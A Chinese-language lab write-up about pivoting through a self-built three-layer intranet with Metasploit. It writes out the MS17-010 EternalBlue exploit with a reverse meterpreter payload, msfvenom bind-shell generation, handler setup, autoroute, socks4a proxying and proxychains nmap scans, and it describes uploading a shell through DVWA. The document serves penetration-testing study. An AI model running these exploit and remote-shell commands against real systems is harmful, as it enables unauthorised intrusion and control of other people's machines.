MSF学习-端口转发代理及路由功能-三层内网靶场渗透
前言
其实是受这篇文章影响-三层网络靶场搭建&MSF内网渗透
一般实战和CTF中经常会碰到多重内网的问题,要想渗透多重内网,经常会用到msf的转发代理路由功能,所以受上面文章影响,我准备自己搭一个简易的三层内网,然后利用msf的这些功能进行一次小型模拟多重内网的渗透
前期准备
系统:
Kali Linux (攻击机)
Windows 7 (靶机1)
Windows 2003(靶机2)
Windows 10(靶机3)
网络拓扑:
Kali Linux Windows7 Windows 2003
Windows7 Windows 2003 Windows 10
内网 1 内网2 内网3
漏洞类型:
Windows7: MS17-010
Windows 2003: Web洞
Windows 10:Web洞
操作:
打开虚拟网络编辑器
点击添加网络,新建三个子网,类型全部为仅主机模式,我的为net 3,4,5
设置4台虚拟机为上诉拓扑图所示的环境,kali设置net3,Windows 7设置net3 和 net4完成网络拓扑
以Windows7为例
完成全部的网络拓扑后,前期准备完成
内网渗透
靶机1
打开kali,ifconfig发现第一层的内网段为192.168.174.0/24
通过nmap扫描,寻找第一个靶机的IP地址
找到Windows 7的ip地址为192.168.174.129
ms17-010
通过msf ms17-010攻陷第一台靶机
use exploit/windows/smb/ms17_010_eternalblue set rhost 192.168.174.129 set LHOST 192.168.174.128 set payload windows/x64/meterpreter/reverse_tcp exploit #如果不设置 payload为reverse_tcp,攻陷后直接获得靶机1的cmd而不是meterpreter
成功拿到第一台主机的meterpreter
靶机2
由于我们的MSF无法直接访问第二层的Windows 2003,这时候有几种方法,一种是通过MSF自带的autoroute功能自动添加路由,但是只有MSF能访问到第二层的内网。然后第二种是通过socks4模块添加socks代理,然后可以通过proxychain和浏览器代理使所有应用都可以通过代理访问到第二层内网
通过ipconfig找到Windows7的第二张网卡内网为192.168.168.0/24
autoroute
先通过autoroute添加msf的路由
run autoroute -s 192.168.168
auxiliary/scanner/portscan/tcp模块
然后进行第二层内网的主机发现
#由于已知靶机2开了80,所以使用portscan/tcp模块 #arp_sweep使用报错,所以就不用了 use auxiliary/scanner/portscan/tcp
由于靶机1(windows7的ip为192.168.168.128)所以得到靶机2的ip为192.168.168.129
由于靶机二是web洞,我们需要进行代理使所有应用可以访问到第二层内网(autoroute作用的是msf的上下文)
socks4a模块
use auxiliary/server/socks4a set SRVPORT 9999 exploit
此时我们通过meterpreter隧道开了一个代理,为了方便我们渗透,我们通过浏览器设置,连上这个代理进行下一步配置(这个代理端口默认开在本机,连上代理相当于可以访问msf上下文的所有路由,即可以访问之前通过autoroute添加的路由)
浏览器设置sock4代理
此时浏览器已经可以访问msf上下文的路由,即我们可以访问192.168.168.0/24段,我们访问靶机2的ip
然后进行常规的web渗透,发现DVWA,上传无限制,上传msf马,连接攻陷第二个靶机
注意:由于msf添加的路由全为正向连接,即我们可以访问到靶机但靶机不能反向访问到我们,所以在选择msf马的payload时,不选择reverse_tcp反向连接payload,而是选择bind_tcp正向连接payload,bind_tcp不需要设置请求的ip,会在目标主机开启一个端口,然后我们攻击机去访问目标主机的端口即可攻陷
msfvenom -p windows/meterpreter/bind_tcp LPORT=8888 -f exe > shell.exe #生成马
use exploit/multi/handler set PAYLOAD windows/meterpreter/bind_tcp set RHOST 192.168.168.129 #靶机ip set LPORT 8888 #靶机绑定的端口 set ExitOnSession false exploit -j -z 成功攻陷第二个靶机
靶机3
添加第三层内网的路由
SocksCap64
这里推荐一个软件,平常我们使用小飞机的时候,往往只有配置浏览器,然后只有浏览器才能走小飞机的流量,如果我们想让其他windows应用也走小飞机或代理的流量,可以使用这个SocksCap64软件,网上有也可以加我QQ要
proxychains
ProxyChains是一款适用于linux系统的网络代理设置工具,比如如果你想配置nmap sqlmap等命令行工具的代理,可以通过配置ProxyChains然后通过 ProxyChains nmap 或ProxyChains sqlmap的命令,即命令行工具可以通过proxychain走代理流量
上面配置的autoroute只能使msf上下文能访问到第三层内网,如果我们想其他工具能访问到第三层内网,我们可以通过proxychains + socks4a (socks4a即开一个代理服务器,让其它应用可以走msf的路由)
配置proxychains
vim /etc/proxychains.conf
在最后一行加入或修改代理服务器的ip和port,我们之前设置端口为9999
这里有个坑,proxychains ping 是不能执行成功的,因为ping是ICMP协议,sock无法代理,所以用nmap扫描的时候,需要带上-Pn -sT
proxychains nmap -Pn -sT 192.168.238.0/24 -p80 # -Pn代表不进行Ping扫描 # -sT代表进行TCP扫描
成功发现第三层内网的靶机3 ip为 192.168.238.130
同样DVWA,类比靶机2拿下,flag在根目录
参考文章
通向彼岸 之内网代理转发 msf中的socs4a模块使用及meterpreter多级内网穿透